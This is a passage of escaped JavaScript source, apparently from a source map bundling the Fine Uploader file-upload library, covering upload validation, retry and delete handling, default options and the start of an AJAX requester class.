valid = true;\n                        return false;\n                    }\n                }\n            });\n\n            return valid;\n        },\n\n        /**\n         * Constructs and returns a message that describes an item/file error.  Also calls `onError` callback.\n         *\n         * @param code REQUIRED - a code that corresponds to a stock message describing this type of error\n         * @param maybeNameOrNames names of the items that have failed, if applicable\n         * @param item `File`, `Blob`, or `<input type=\"file\">`\n         * @private\n         */\n        _itemError: function(code, maybeNameOrNames, item) {\n            var message = this._options.messages[code],\n                allowedExtensions = [],\n                names = [].concat(maybeNameOrNames),\n                name = names[0],\n                buttonId = this._getButtonId(item),\n                validationBase = this._getValidationBase(buttonId),\n                extensionsForMessage, placeholderMatch;\n\n            function r(name, replacement) { message = message.replace(name, replacement); }\n\n            qq.each(validationBase.allowedExtensions, function(idx, allowedExtension) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExtension)) {\n                    allowedExtensions.push(allowedExtension);\n                }\n            });\n\n            extensionsForMessage = allowedExtensions.join(\", \").toLowerCase();\n\n            r(\"{file}\", this._options.formatFileName(name));\n            r(\"{extensions}\", extensionsForMessage);\n            r(\"{sizeLimit}\", this._formatSize(validationBase.sizeLimit));\n            r(\"{minSizeLimit}\", this._formatSize(validationBase.minSizeLimit));\n\n            placeholderMatch = message.match(/(\\{\\w+\\})/g);\n            if (placeholderMatch !== null) {\n                qq.each(placeholderMatch, function(idx, placeholder) {\n                    r(placeholder, names[idx]);\n                });\n            }\n\n            this._options.callbacks.onError(null, name, message, undefined);\n\n            return message;\n        },\n\n        /**\n         * Conditionally orders a manual retry of a failed upload.\n         *\n         * @param id File ID of the failed upload\n         * @param callback Optional callback to invoke if a retry is prudent.\n         * In lieu of asking the upload handler to retry.\n         * @returns {boolean} true if a manual retry will occur\n         * @private\n         */\n        _manualRetry: function(id, callback) {\n            if (this._onBeforeManualRetry(id)) {\n                this._netUploadedOrQueued++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                if (callback) {\n                    callback(id);\n                }\n                else {\n                    this._handler.retry(id);\n                }\n\n                return true;\n            }\n        },\n\n        _maybeAllComplete: function(id, status) {\n            var self = this,\n                notFinished = this._getNotFinished();\n\n            if (status === qq.status.UPLOAD_SUCCESSFUL) {\n                this._succeededSinceLastAllComplete.push(id);\n            }\n            else if (status === qq.status.UPLOAD_FAILED) {\n                this._failedSinceLastAllComplete.push(id);\n            }\n\n            if (notFinished === 0 &&\n                (this._succeededSinceLastAllComplete.length || this._failedSinceLastAllComplete.length)) {\n                // Attempt to ensure onAllComplete is not invoked before other callbacks, such as onCancel & onComplete\n                setTimeout(function() {\n                    self._onAllComplete(self._succeededSinceLastAllComplete, self._failedSinceLastAllComplete);\n                }, 0);\n            }\n        },\n\n        _maybeHandleIos8SafariWorkaround: function() {\n            var self = this;\n\n            if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {\n                setTimeout(function() {\n                    window.alert(self._options.messages.unsupportedBrowserIos8Safari);\n                }, 0);\n                throw new qq.Error(this._options.messages.unsupportedBrowserIos8Safari);\n            }\n        },\n\n        _maybeParseAndSendUploadError: function(id, name, response, xhr) {\n            // Assuming no one will actually set the response code to something other than 200\n            // and still set 'success' to true...\n            if (!response.success) {\n                if (xhr && xhr.status !== 200 && !response.error) {\n                    this._options.callbacks.onError(id, name, \"XHR returned response code \" + xhr.status, xhr);\n                }\n                else {\n                    var errorReason = response.error ? response.error : this._options.text.defaultResponseError;\n                    this._options.callbacks.onError(id, name, errorReason, xhr);\n                }\n            }\n        },\n\n        _maybeProcessNextItemAfterOnValidateCallback: function(validItem, items, index, params, endpoint) {\n            var self = this;\n\n            if (items.length > index) {\n                if (validItem || !this._options.validation.stopOnFirstInvalidFile) {\n                    //use setTimeout to prevent a stack overflow with a large number of files in the batch & non-promissory callbacks\n                    setTimeout(function() {\n                        var validationDescriptor = self._getValidationDescriptor(items[index]),\n                            buttonId = self._getButtonId(items[index].file),\n                            button = self._getButton(buttonId);\n\n                        self._handleCheckedCallback({\n                            name: \"onValidate\",\n                            callback: qq.bind(self._options.callbacks.onValidate, self, validationDescriptor, button),\n                            onSuccess: qq.bind(self._onValidateCallbackSuccess, self, items, index, params, endpoint),\n                            onFailure: qq.bind(self._onValidateCallbackFailure, self, items, index, params, endpoint),\n                            identifier: \"Item '\" + validationDescriptor.name + \"', size: \" + validationDescriptor.size\n                        });\n                    }, 0);\n                }\n                else if (!validItem) {\n                    for (; index < items.length; index++) {\n                        self._fileOrBlobRejected(items[index].id);\n                    }\n                }\n            }\n        },\n\n        _onAllComplete: function(successful, failed) {\n            this._totalProgress && this._totalProgress.onAllComplete(successful, failed, this._preventRetries);\n\n            this._options.callbacks.onAllComplete(qq.extend([], successful), qq.extend([], failed));\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n        },\n\n        /**\n         * Attempt to automatically retry a failed upload.\n         *\n         * @param id The file ID of the failed upload\n         * @param name The name of the file associated with the failed upload\n         * @param responseJSON Response from the server, parsed into a javascript object\n         * @param xhr Ajax transport used to send the failed request\n         * @param callback Optional callback to be invoked if a retry is prudent.\n         * Invoked in lieu of asking the upload handler to retry.\n         * @returns {boolean} true if an auto-retry will occur\n         * @private\n         */\n        _onAutoRetry: function(id, name, responseJSON, xhr, callback) {\n            var self = this;\n\n            self._preventRetries[id] = responseJSON[self._options.retry.preventRetryResponseProperty];\n\n            if (self._shouldAutoRetry(id, name, responseJSON)) {\n                self._maybeParseAndSendUploadError.apply(self, arguments);\n                self._options.callbacks.onAutoRetry(id, name, self._autoRetries[id]);\n                self._onBeforeAutoRetry(id, name);\n\n                self._retryTimeouts[id] = setTimeout(function() {\n                    self.log(\"Retrying \" + name + \"...\");\n                    self._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                    if (callback) {\n                        callback(id);\n                    }\n                    else {\n                        self._handler.retry(id);\n                    }\n                }, self._options.retry.autoAttemptDelay * 1000);\n\n                return true;\n            }\n        },\n\n        _onBeforeAutoRetry: function(id, name) {\n            this.log(\"Waiting \" + this._options.retry.autoAttemptDelay + \" seconds before retrying \" + name + \"...\");\n        },\n\n        //return false if we should not attempt the requested retry\n        _onBeforeManualRetry: function(id) {\n            var itemLimit = this._currentItemLimit,\n                fileName;\n\n            if (this._preventRetries[id]) {\n                this.log(\"Retries are forbidden for id \" + id, \"warn\");\n                return false;\n            }\n            else if (this._handler.isValid(id)) {\n                fileName = this.getName(id);\n\n                if (this._options.callbacks.onManualRetry(id, fileName) === false) {\n                    return false;\n                }\n\n                if (itemLimit > 0 && this._netUploadedOrQueued + 1 > itemLimit) {\n                    this._itemError(\"retryFailTooManyItems\");\n                    return false;\n                }\n\n                this.log(\"Retrying upload for '\" + fileName + \"' (id: \" + id + \")...\");\n                return true;\n            }\n            else {\n                this.log(\"'\" + id + \"' is not a valid file ID\", \"error\");\n                return false;\n            }\n        },\n\n        _onCancel: function(id, name) {\n            this._netUploadedOrQueued--;\n\n            clearTimeout(this._retryTimeouts[id]);\n\n            var storedItemIndex = qq.indexOf(this._storedIds, id);\n            if (!this._options.autoUpload && storedItemIndex >= 0) {\n                this._storedIds.splice(storedItemIndex, 1);\n            }\n\n            this._uploadData.setStatus(id, qq.status.CANCELED);\n        },\n\n        _onComplete: function(id, name, result, xhr) {\n            if (!result.success) {\n                this._netUploadedOrQueued--;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_FAILED);\n\n                if (result[this._options.retry.preventRetryResponseProperty] === true) {\n                    this._preventRetries[id] = true;\n                }\n            }\n            else {\n                if (result.thumbnailUrl) {\n                    this._thumbnailUrls[id] = result.thumbnailUrl;\n                }\n\n                this._netUploaded++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_SUCCESSFUL);\n            }\n\n            this._maybeParseAndSendUploadError(id, name, result, xhr);\n\n            return result.success ? true : false;\n        },\n\n        _onDelete: function(id) {\n            this._uploadData.setStatus(id, qq.status.DELETING);\n        },\n\n        _onDeleteComplete: function(id, xhrOrXdr, isError) {\n            var name = this.getName(id);\n\n            if (isError) {\n                this._uploadData.setStatus(id, qq.status.DELETE_FAILED);\n                this.log(\"Delete request for '\" + name + \"' has failed.\", \"error\");\n\n                // For error reporting, we only have access to the response status if this is not\n                // an `XDomainRequest`.\n                if (xhrOrXdr.withCredentials === undefined) {\n                    this._options.callbacks.onError(id, name, \"Delete request failed\", xhrOrXdr);\n                }\n                else {\n                    this._options.callbacks.onError(id, name, \"Delete request failed with response code \" + xhrOrXdr.status, xhrOrXdr);\n                }\n            }\n            else {\n                this._netUploadedOrQueued--;\n                this._netUploaded--;\n                this._handler.expunge(id);\n                this._uploadData.setStatus(id, qq.status.DELETED);\n                this.log(\"Delete request for '\" + name + \"' has succeeded.\");\n            }\n        },\n\n        _onInputChange: function(input) {\n            var fileIndex;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                for (fileIndex = 0; fileIndex < input.files.length; fileIndex++) {\n                    this._annotateWithButtonId(input.files[fileIndex], input);\n                }\n\n                this.addFiles(input.files);\n            }\n            // Android 2.3.x will fire `onchange` even if no file has been selected\n            else if (input.value.length > 0) {\n                this.addFiles(input);\n            }\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n        },\n\n        _onProgress: function(id, name, loaded, total) {\n            this._totalProgress && this._totalProgress.onIndividualProgress(id, loaded, total);\n        },\n\n        _onSubmit: function(id, name) {\n            //nothing to do yet in core uploader\n        },\n\n        _onSubmitCallbackSuccess: function(id, name) {\n            this._onSubmit.apply(this, arguments);\n            this._uploadData.setStatus(id, qq.status.SUBMITTED);\n            this._onSubmitted.apply(this, arguments);\n\n            if (this._options.autoUpload) {\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n                this._uploadFile(id);\n            }\n            else {\n                this._storeForLater(id);\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n            }\n        },\n\n        _onSubmitDelete: function(id, onSuccessCallback, additionalMandatedParams) {\n            var uuid = this.getUuid(id),\n                adjustedOnSuccessCallback;\n\n            if (onSuccessCallback) {\n                adjustedOnSuccessCallback = qq.bind(onSuccessCallback, this, id, uuid, additionalMandatedParams);\n            }\n\n            if (this._isDeletePossible()) {\n                this._handleCheckedCallback({\n                    name: \"onSubmitDelete\",\n                    callback: qq.bind(this._options.callbacks.onSubmitDelete, this, id),\n                    onSuccess: adjustedOnSuccessCallback ||\n                        qq.bind(this._deleteHandler.sendDelete, this, id, uuid, additionalMandatedParams),\n                    identifier: id\n                });\n                return true;\n            }\n            else {\n                this.log(\"Delete request ignored for ID \" + id + \", delete feature is disabled or request not possible \" +\n                    \"due to CORS on a user agent that does not support pre-flighting.\", \"warn\");\n                return false;\n            }\n        },\n\n        _onSubmitted: function(id) {\n            //nothing to do in the base uploader\n        },\n\n        _onTotalProgress: function(loaded, total) {\n            this._options.callbacks.onTotalProgress(loaded, total);\n        },\n\n        _onUploadPrep: function(id) {\n            // nothing to do in the core uploader for now\n        },\n\n        _onUpload: function(id, name) {\n            this._uploadData.setStatus(id, qq.status.UPLOADING);\n        },\n\n        _onUploadChunk: function(id, chunkData) {\n            //nothing to do in the base uploader\n        },\n\n        _onUploadStatusChange: function(id, oldStatus, newStatus) {\n            // Make sure a \"queued\" retry attempt is canceled if the upload has been paused\n            if (newStatus === qq.status.PAUSED) {\n                clearTimeout(this._retryTimeouts[id]);\n            }\n        },\n\n        _onValidateBatchCallbackFailure: function(fileWrappers) {\n            var self = this;\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                self._fileOrBlobRejected(fileWrapper.id);\n            });\n        },\n\n        _onValidateBatchCallbackSuccess: function(validationDescriptors, items, params, endpoint, button) {\n            var errorMessage,\n                itemLimit = this._currentItemLimit,\n                proposedNetFilesUploadedOrQueued = this._netUploadedOrQueued;\n\n            if (itemLimit === 0 || proposedNetFilesUploadedOrQueued <= itemLimit) {\n                if (items.length > 0) {\n                    this._handleCheckedCallback({\n                        name: \"onValidate\",\n                        callback: qq.bind(this._options.callbacks.onValidate, this, validationDescriptors[0], button),\n                        onSuccess: qq.bind(this._onValidateCallbackSuccess, this, items, 0, params, endpoint),\n                        onFailure: qq.bind(this._onValidateCallbackFailure, this, items, 0, params, endpoint),\n                        identifier: \"Item '\" + items[0].file.name + \"', size: \" + items[0].file.size\n                    });\n                }\n                else {\n                    this._itemError(\"noFilesError\");\n                }\n            }\n            else {\n                this._onValidateBatchCallbackFailure(items);\n                errorMessage = this._options.messages.tooManyItemsError\n                    .replace(/\\{netItems\\}/g, proposedNetFilesUploadedOrQueued)\n                    .replace(/\\{itemLimit\\}/g, itemLimit);\n                this._batchError(errorMessage);\n            }\n        },\n\n        _onValidateCallbackFailure: function(items, index, params, endpoint) {\n            var nextIndex = index + 1;\n\n            this._fileOrBlobRejected(items[index].id, items[index].file.name);\n\n            this._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n        },\n\n        _onValidateCallbackSuccess: function(items, index, params, endpoint) {\n            var self = this,\n                nextIndex = index + 1,\n                validationDescriptor = this._getValidationDescriptor(items[index]);\n\n            this._validateFileOrBlobData(items[index], validationDescriptor)\n                .then(\n                function() {\n                    self._upload(items[index].id, params, endpoint);\n                    self._maybeProcessNextItemAfterOnValidateCallback(true, items, nextIndex, params, endpoint);\n                },\n                function() {\n                    self._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n                }\n            );\n        },\n\n        _prepareItemsForUpload: function(items, params, endpoint) {\n            if (items.length === 0) {\n                this._itemError(\"noFilesError\");\n                return;\n            }\n\n            var validationDescriptors = this._getValidationDescriptors(items),\n                buttonId = this._getButtonId(items[0].file),\n                button = this._getButton(buttonId);\n\n            this._handleCheckedCallback({\n                name: \"onValidateBatch\",\n                callback: qq.bind(this._options.callbacks.onValidateBatch, this, validationDescriptors, button),\n                onSuccess: qq.bind(this._onValidateBatchCallbackSuccess, this, validationDescriptors, items, params, endpoint, button),\n                onFailure: qq.bind(this._onValidateBatchCallbackFailure, this, items),\n                identifier: \"batch validation\"\n            });\n        },\n\n        _preventLeaveInProgress: function() {\n            var self = this;\n\n            this._disposeSupport.attach(window, \"beforeunload\", function(e) {\n                if (self.getInProgress()) {\n                    e = e || window.event;\n                    // for ie, ff\n                    e.returnValue = self._options.messages.onLeave;\n                    // for webkit\n                    return self._options.messages.onLeave;\n                }\n            });\n        },\n\n        // Attempts to refresh session data only if the `qq.Session` module exists\n        // and a session endpoint has been specified.  The `onSessionRequestComplete`\n        // callback will be invoked once the refresh is complete.\n        _refreshSessionData: function() {\n            var self = this,\n                options = this._options.session;\n\n            /* jshint eqnull:true */\n            if (qq.Session && this._options.session.endpoint != null) {\n                if (!this._session) {\n                    qq.extend(options, {cors: this._options.cors});\n\n                    options.log = qq.bind(this.log, this);\n                    options.addFileRecord = qq.bind(this._addCannedFile, this);\n\n                    this._session = new qq.Session(options);\n                }\n\n                setTimeout(function() {\n                    self._session.refresh().then(function(response, xhrOrXdr) {\n                        self._sessionRequestComplete();\n                        self._options.callbacks.onSessionRequestComplete(response, true, xhrOrXdr);\n\n                    }, function(response, xhrOrXdr) {\n\n                        self._options.callbacks.onSessionRequestComplete(response, false, xhrOrXdr);\n                    });\n                }, 0);\n            }\n        },\n\n        _sessionRequestComplete: function() {},\n\n        _setSize: function(id, newSize) {\n            this._uploadData.updateSize(id, newSize);\n            this._totalProgress && this._totalProgress.onNewSize(id);\n        },\n\n        _shouldAutoRetry: function(id, name, responseJSON) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            /*jshint laxbreak: true */\n            if (!this._preventRetries[id]\n                && this._options.retry.enableAuto\n                && uploadData.status !== qq.status.PAUSED) {\n\n                if (this._autoRetries[id] === undefined) {\n                    this._autoRetries[id] = 0;\n                }\n\n                if (this._autoRetries[id] < this._options.retry.maxAutoAttempts) {\n                    this._autoRetries[id] += 1;\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        _storeForLater: function(id) {\n            this._storedIds.push(id);\n        },\n\n        // Maps a file with the button that was used to select it.\n        _trackButton: function(id) {\n            var buttonId;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                buttonId = this._handler.getFile(id).qqButtonId;\n            }\n            else {\n                buttonId = this._getButtonId(this._handler.getInput(id));\n            }\n\n            if (buttonId) {\n                this._buttonIdsForFileIds[id] = buttonId;\n            }\n        },\n\n        _updateFormSupportAndParams: function(formElementOrId) {\n            this._options.form.element = formElementOrId;\n\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                    this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n                );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore.addReadOnly(null, this._formSupport.getFormInputsAsObject);\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this.setEndpoint(this._formSupport.newEndpoint);\n                }\n            }\n        },\n\n        _upload: function(id, params, endpoint) {\n            var name = this.getName(id);\n\n            if (params) {\n                this.setParams(params, id);\n            }\n\n            if (endpoint) {\n                this.setEndpoint(endpoint, id);\n            }\n\n            this._handleCheckedCallback({\n                name: \"onSubmit\",\n                callback: qq.bind(this._options.callbacks.onSubmit, this, id, name),\n                onSuccess: qq.bind(this._onSubmitCallbackSuccess, this, id, name),\n                onFailure: qq.bind(this._fileOrBlobRejected, this, id, name),\n                identifier: id\n            });\n        },\n\n        _uploadFile: function(id) {\n            if (!this._handler.upload(id)) {\n                this._uploadData.setStatus(id, qq.status.QUEUED);\n            }\n        },\n\n        _uploadStoredFiles: function() {\n            var idToUpload, stillSubmitting,\n                self = this;\n\n            while (this._storedIds.length) {\n                idToUpload = this._storedIds.shift();\n                this._uploadFile(idToUpload);\n            }\n\n            // If we are still waiting for some files to clear validation, attempt to upload these again in a bit\n            stillSubmitting = this.getUploads({status: qq.status.SUBMITTING}).length;\n            if (stillSubmitting) {\n                qq.log(\"Still waiting for \" + stillSubmitting + \" files to clear submit queue. Will re-parse stored IDs array shortly.\");\n                setTimeout(function() {\n                    self._uploadStoredFiles();\n                }, 1000);\n            }\n        },\n\n        /**\n         * Performs some internal validation checks on an item, defined in the `validation` option.\n         *\n         * @param fileWrapper Wrapper containing a `file` along with an `id`\n         * @param validationDescriptor Normalized information about the item (`size`, `name`).\n         * @returns qq.Promise with appropriate callbacks invoked depending on the validity of the file\n         * @private\n         */\n        _validateFileOrBlobData: function(fileWrapper, validationDescriptor) {\n            var self = this,\n                file = (function() {\n                    if (fileWrapper.file instanceof qq.BlobProxy) {\n                        return fileWrapper.file.referenceBlob;\n                    }\n                    return fileWrapper.file;\n                }()),\n                name = validationDescriptor.name,\n                size = validationDescriptor.size,\n                buttonId = this._getButtonId(fileWrapper.file),\n                validationBase = this._getValidationBase(buttonId),\n                validityChecker = new qq.Promise();\n\n            validityChecker.then(\n                function() {},\n                function() {\n                    self._fileOrBlobRejected(fileWrapper.id, name);\n                });\n\n            if (qq.isFileOrInput(file) && !this._isAllowedExtension(validationBase.allowedExtensions, name)) {\n                this._itemError(\"typeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size === 0) {\n                this._itemError(\"emptyError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && validationBase.sizeLimit && size > validationBase.sizeLimit) {\n                this._itemError(\"sizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && size < validationBase.minSizeLimit) {\n                this._itemError(\"minSizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (qq.ImageValidation && qq.supportedFeatures.imagePreviews && qq.isFile(file)) {\n                new qq.ImageValidation(file, qq.bind(self.log, self)).validate(validationBase.image).then(\n                    validityChecker.success,\n                    function(errorCode) {\n                        self._itemError(errorCode + \"ImageError\", name, file);\n                        validityChecker.failure();\n                    }\n                );\n            }\n            else {\n                validityChecker.success();\n            }\n\n            return validityChecker;\n        },\n\n        _wrapCallbacks: function() {\n            var self, safeCallback, prop;\n\n            self = this;\n\n            safeCallback = function(name, callback, args) {\n                var errorMsg;\n\n                try {\n                    return callback.apply(self, args);\n                }\n                catch (exception) {\n                    errorMsg = exception.message || exception.toString();\n                    self.log(\"Caught exception in '\" + name + \"' callback - \" + errorMsg, \"error\");\n                }\n            };\n\n            /* jshint forin: false, loopfunc: true */\n            for (prop in this._options.callbacks) {\n                (function() {\n                    var callbackName, callbackFunc;\n                    callbackName = prop;\n                    callbackFunc = self._options.callbacks[callbackName];\n                    self._options.callbacks[callbackName] = function() {\n                        return safeCallback(callbackName, callbackFunc, arguments);\n                    };\n                }());\n            }\n        }\n    };\n}());\n","/*globals qq*/\n(function() {\n    \"use strict\";\n\n    qq.FineUploaderBasic = function(o) {\n        var self = this;\n\n        // These options define FineUploaderBasic mode.\n        this._options = {\n            debug: false,\n            button: null,\n            multiple: true,\n            maxConnections: 3,\n            disableCancelForFormUploads: false,\n            autoUpload: true,\n\n            request: {\n                customHeaders: {},\n                endpoint: \"/server/upload\",\n                filenameParam: \"qqfilename\",\n                forceMultipart: true,\n                inputName: \"qqfile\",\n                method: \"POST\",\n                params: {},\n                paramsInBody: true,\n                totalFileSizeName: \"qqtotalfilesize\",\n                uuidName: \"qquuid\"\n            },\n\n            validation: {\n                allowedExtensions: [],\n                sizeLimit: 0,\n                minSizeLimit: 0,\n                itemLimit: 0,\n                stopOnFirstInvalidFile: true,\n                acceptFiles: null,\n                image: {\n                    maxHeight: 0,\n                    maxWidth: 0,\n                    minHeight: 0,\n                    minWidth: 0\n                }\n            },\n\n            callbacks: {\n                onSubmit: function(id, name) {},\n                onSubmitted: function(id, name) {},\n                onComplete: function(id, name, responseJSON, maybeXhr) {},\n                onAllComplete: function(successful, failed) {},\n                onCancel: function(id, name) {},\n                onUpload: function(id, name) {},\n                onUploadChunk: function(id, name, chunkData) {},\n                onUploadChunkSuccess: function(id, chunkData, responseJSON, xhr) {},\n                onResume: function(id, fileName, chunkData) {},\n                onProgress: function(id, name, loaded, total) {},\n                onTotalProgress: function(loaded, total) {},\n                onError: function(id, name, reason, maybeXhrOrXdr) {},\n                onAutoRetry: function(id, name, attemptNumber) {},\n                onManualRetry: function(id, name) {},\n                onValidateBatch: function(fileOrBlobData) {},\n                onValidate: function(fileOrBlobData) {},\n                onSubmitDelete: function(id) {},\n                onDelete: function(id) {},\n                onDeleteComplete: function(id, xhrOrXdr, isError) {},\n                onPasteReceived: function(blob) {},\n                onStatusChange: function(id, oldStatus, newStatus) {},\n                onSessionRequestComplete: function(response, success, xhrOrXdr) {}\n            },\n\n            messages: {\n                typeError: \"{file} has an invalid extension. Valid extension(s): {extensions}.\",\n                sizeError: \"{file} is too large, maximum file size is {sizeLimit}.\",\n                minSizeError: \"{file} is too small, minimum file size is {minSizeLimit}.\",\n                emptyError: \"{file} is empty, please select files again without it.\",\n                noFilesError: \"No files to upload.\",\n                tooManyItemsError: \"Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.\",\n                maxHeightImageError: \"Image is too tall.\",\n                maxWidthImageError: \"Image is too wide.\",\n                minHeightImageError: \"Image is not tall enough.\",\n                minWidthImageError: \"Image is not wide enough.\",\n                retryFailTooManyItems: \"Retry failed - you have reached your file limit.\",\n                onLeave: \"The files are being uploaded, if you leave now the upload will be canceled.\",\n                unsupportedBrowserIos8Safari: \"Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues.\"\n            },\n\n            retry: {\n                enableAuto: false,\n                maxAutoAttempts: 3,\n                autoAttemptDelay: 5,\n                preventRetryResponseProperty: \"preventRetry\"\n            },\n\n            classes: {\n                buttonHover: \"qq-upload-button-hover\",\n                buttonFocus: \"qq-upload-button-focus\"\n            },\n\n            chunking: {\n                enabled: false,\n                concurrent: {\n                    enabled: false\n                },\n                mandatory: false,\n                paramNames: {\n                    partIndex: \"qqpartindex\",\n                    partByteOffset: \"qqpartbyteoffset\",\n                    chunkSize: \"qqchunksize\",\n                    totalFileSize: \"qqtotalfilesize\",\n                    totalParts: \"qqtotalparts\"\n                },\n                partSize: 2000000,\n                // only relevant for traditional endpoints, only required when concurrent.enabled === true\n                success: {\n                    endpoint: null\n                }\n            },\n\n            resume: {\n                enabled: false,\n                recordsExpireIn: 7, //days\n                paramNames: {\n                    resuming: \"qqresume\"\n                }\n            },\n\n            formatFileName: function(fileOrBlobName) {\n                return fileOrBlobName;\n            },\n\n            text: {\n                defaultResponseError: \"Upload failure reason unknown\",\n                fileInputTitle: \"file input\",\n                sizeSymbols: [\"kB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\"]\n            },\n\n            deleteFile: {\n                enabled: false,\n                method: \"DELETE\",\n                endpoint: \"/server/upload\",\n                customHeaders: {},\n                params: {}\n            },\n\n            cors: {\n                expected: false,\n                sendCredentials: false,\n                allowXdr: false\n            },\n\n            blobs: {\n                defaultName: \"misc_data\"\n            },\n\n            paste: {\n                targetElement: null,\n                defaultName: \"pasted_image\"\n            },\n\n            camera: {\n                ios: false,\n\n                // if ios is true: button is null means target the default button, otherwise target the button specified\n                button: null\n            },\n\n            // This refers to additional upload buttons to be handled by Fine Uploader.\n            // Each element is an object, containing `element` as the only required\n            // property.  The `element` must be a container that will ultimately\n            // contain an invisible `<input type=\"file\">` created by Fine Uploader.\n            // Optional properties of each object include `multiple`, `validation`,\n            // and `folders`.\n            extraButtons: [],\n\n            // Depends on the session module.  Used to query the server for an initial file list\n            // during initialization and optionally after a `reset`.\n            session: {\n                endpoint: null,\n                params: {},\n                customHeaders: {},\n                refreshOnReset: true\n            },\n\n            // Send parameters associated with an existing form along with the files\n            form: {\n                // Element ID, HTMLElement, or null\n                element: \"qq-form\",\n\n                // Overrides the base `autoUpload`, unless `element` is null.\n                autoUpload: false,\n\n                // true = upload files on form submission (and squelch submit event)\n                interceptSubmit: true\n            },\n\n            // scale images client side, upload a new file for each scaled version\n            scaling: {\n                customResizer: null,\n\n                // send the original file as well\n                sendOriginal: true,\n\n                // fox orientation for scaled images\n                orient: true,\n\n                // If null, scaled image type will match reference image type.  This value will be referred to\n                // for any size record that does not specific a type.\n                defaultType: null,\n\n                defaultQuality: 80,\n\n                failureText: \"Failed to scale\",\n\n                includeExif: false,\n\n                // metadata about each requested scaled version\n                sizes: []\n            },\n\n            workarounds: {\n                iosEmptyVideos: true,\n                ios8SafariUploads: true,\n                ios8BrowserCrash: false\n            }\n        };\n\n        // Replace any default options with user defined ones\n        qq.extend(this._options, o, true);\n\n        this._buttons = [];\n        this._extraButtonSpecs = {};\n        this._buttonIdsForFileIds = [];\n\n        this._wrapCallbacks();\n        this._disposeSupport =  new qq.DisposeSupport();\n\n        this._storedIds = [];\n        this._autoRetries = [];\n        this._retryTimeouts = [];\n        this._preventRetries = [];\n        this._thumbnailUrls = [];\n\n        this._netUploadedOrQueued = 0;\n        this._netUploaded = 0;\n        this._uploadData = this._createUploadDataTracker();\n\n        this._initFormSupportAndParams();\n\n        this._customHeadersStore = this._createStore(this._options.request.customHeaders);\n        this._deleteFileCustomHeadersStore = this._createStore(this._options.deleteFile.customHeaders);\n\n        this._deleteFileParamsStore = this._createStore(this._options.deleteFile.params);\n\n        this._endpointStore = this._createStore(this._options.request.endpoint);\n        this._deleteFileEndpointStore = this._createStore(this._options.deleteFile.endpoint);\n\n        this._handler = this._createUploadHandler();\n\n        this._deleteHandler = qq.DeleteFileAjaxRequester && this._createDeleteHandler();\n\n        if (this._options.button) {\n            this._defaultButtonId = this._createUploadButton({\n                element: this._options.button,\n                title: this._options.text.fileInputTitle\n            }).getButtonId();\n        }\n\n        this._generateExtraButtonSpecs();\n\n        this._handleCameraAccess();\n\n        if (this._options.paste.targetElement) {\n            if (qq.PasteSupport) {\n                this._pasteHandler = this._createPasteHandler();\n            }\n            else {\n                this.log(\"Paste support module not found\", \"error\");\n            }\n        }\n\n        this._preventLeaveInProgress();\n\n        this._imageGenerator = qq.ImageGenerator && new qq.ImageGenerator(qq.bind(this.log, this));\n        this._refreshSessionData();\n\n        this._succeededSinceLastAllComplete = [];\n        this._failedSinceLastAllComplete = [];\n\n        this._scaler = (qq.Scaler && new qq.Scaler(this._options.scaling, qq.bind(this.log, this))) || {};\n        if (this._scaler.enabled) {\n            this._customNewFileHandler = qq.bind(this._scaler.handleNewFile, this._scaler);\n        }\n\n        if (qq.TotalProgress && qq.supportedFeatures.progressBar) {\n            this._totalProgress = new qq.TotalProgress(\n                qq.bind(this._onTotalProgress, this),\n\n                function(id) {\n                    var entry = self._uploadData.retrieve({id: id});\n                    return (entry && entry.size) || 0;\n                }\n            );\n        }\n\n        this._currentItemLimit = this._options.validation.itemLimit;\n    };\n\n    // Define the private & public API methods.\n    qq.FineUploaderBasic.prototype = qq.basePublicApi;\n    qq.extend(qq.FineUploaderBasic.prototype, qq.basePrivateApi);\n}());\n","/*globals qq, XDomainRequest*/\n/** Generic class for sending non-upload ajax requests and handling the associated responses **/\nqq.AjaxRequester = function(o) {\n    \"use strict\";\n\n    var log, shouldParamsBeInQueryString,\n        queue = [],\n        requestData = {},\n        options = {\n            acceptHeader: null,\n            validMethods: [\"PATCH\", \"POST\", \"PUT\"],\n            method: \"POST\",\n            contentType: \"application/x-www-form-urlencoded\",\n            maxConnections: 3,\n            customHeaders: {},\n            endpointStore: {},\n            paramsStore: {},\n            mandatedParams: {},\n            allowXRequestedWithAndCacheControl: true,\n            successfulResponseCodes: {\n                DELETE: [200, 202, 204],\n                PATCH: [200, 201, 202, 203, 204],\n                POST: [200, 201, 202, 203, 204],\n                PUT: [200, 201, 202, 203, 204],\n                GET: 